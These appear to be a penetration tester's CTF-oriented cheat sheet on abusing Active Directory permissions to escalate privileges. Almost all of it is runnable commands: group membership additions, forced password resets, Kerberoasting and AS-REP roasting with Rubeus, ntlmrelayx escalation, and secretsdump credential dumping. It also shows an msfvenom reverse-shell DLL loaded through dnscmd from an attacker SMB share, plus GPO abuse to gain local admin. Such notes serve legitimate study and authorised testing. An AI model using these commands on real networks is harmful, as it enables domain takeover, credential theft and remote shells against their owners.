Different domain users, have different rights. Some domain users have GenericAll, GenericWrite, WriteDacl, WriteOwner privilege on other domain users or groups. We can abuse these privileges and move further in domain.
eg: (john have GenericAll priv on Exchange Windows Permissions group)
We can add user in Exchange Windows Permissions group and then we have full control.
net group "Exchange Windows Permissions" john /add /domain
GenericAll Privilege on adams user. 3-Ways.
- We can change the adam password.
net user adams N3wPassw0rd! /domain
- We can set adams user SPN and do Kerberoasting.
Import Powerview.ps1
Set-DomainObject -Identity adams -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:jadams /nowrap
- We can set adams account to AS-REP Roasting.
Set-DomainObject -Identity adams -XOR @{UserAccountControl=4194304}
.\Rubeus.exe asreproast /user:jadams /nowrap
Here lily is the user on which we have generic write perm we can set this user to PreAuth and then by using AS-REP Roasting we can get the user hash and crack it and login into system.
Set-ADAccountControl -Identity lily -DoesNotRequirePreAuth $true
Now we can do AS-REP Roasting.
eg: claire has WriteDacl rights on the Backup_Admins group. We can add it to Backup_Admins group.
net group backup_admins
net group backup_admins claire /add
NOTE: Open another shell if changes are not reflected.
dan (user) has WriteDacl Perm on DC.
using Impacket tool:
ntlmrelayx.py -t ldap:https://10.129.95.210 --escalate-user dan
(10.129.95.210 = target IP)
nevigate to https://127.0.0.1 and enter the user (dan & pass) now wait till it ask for you to run secretsdump.py using creds
We're tom user and getting ownership of claire and then change passwd of claire. Import Powerview.ps1.
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
This way is just for CTFs, in real world this will gonna break the DNS service.
Step1. create a revshell via msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.x.x LPORT=4444 -f dll > shell.dll
Step2. set smbserver in the same dir where shell.dll
impacket-smbserver -smb2support share .
Step3. exploitation on target machine (we don't need to upload shell.dll)
dnscmd.exe /config /serverlevelplugindll \\10.10.x.x\share\shell.dll
sc.exe stop dns
sc.exe start dns
You will get a reverse shell.
login as support user and audit2020 is the user whose passwd gonna change.
rpcclient -U support 10.129.1.243
setuserinfo2 audit2020 23 'Passw0rd!'
mrlky has Get-Changes privilege on the domain.
secretsdump.py -just-dc mrlky:Football@10.10.10.103
upload SharpGPOAbuse.exe
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hackzzdogs --GPOName "DCPolicy"
gpupdate /force
(hackzzdogs = current user name)
(DCPolicy = Group Policy Name you can find it on bloodhound)
Now we're in local administrator group.
net loacalgroup administrators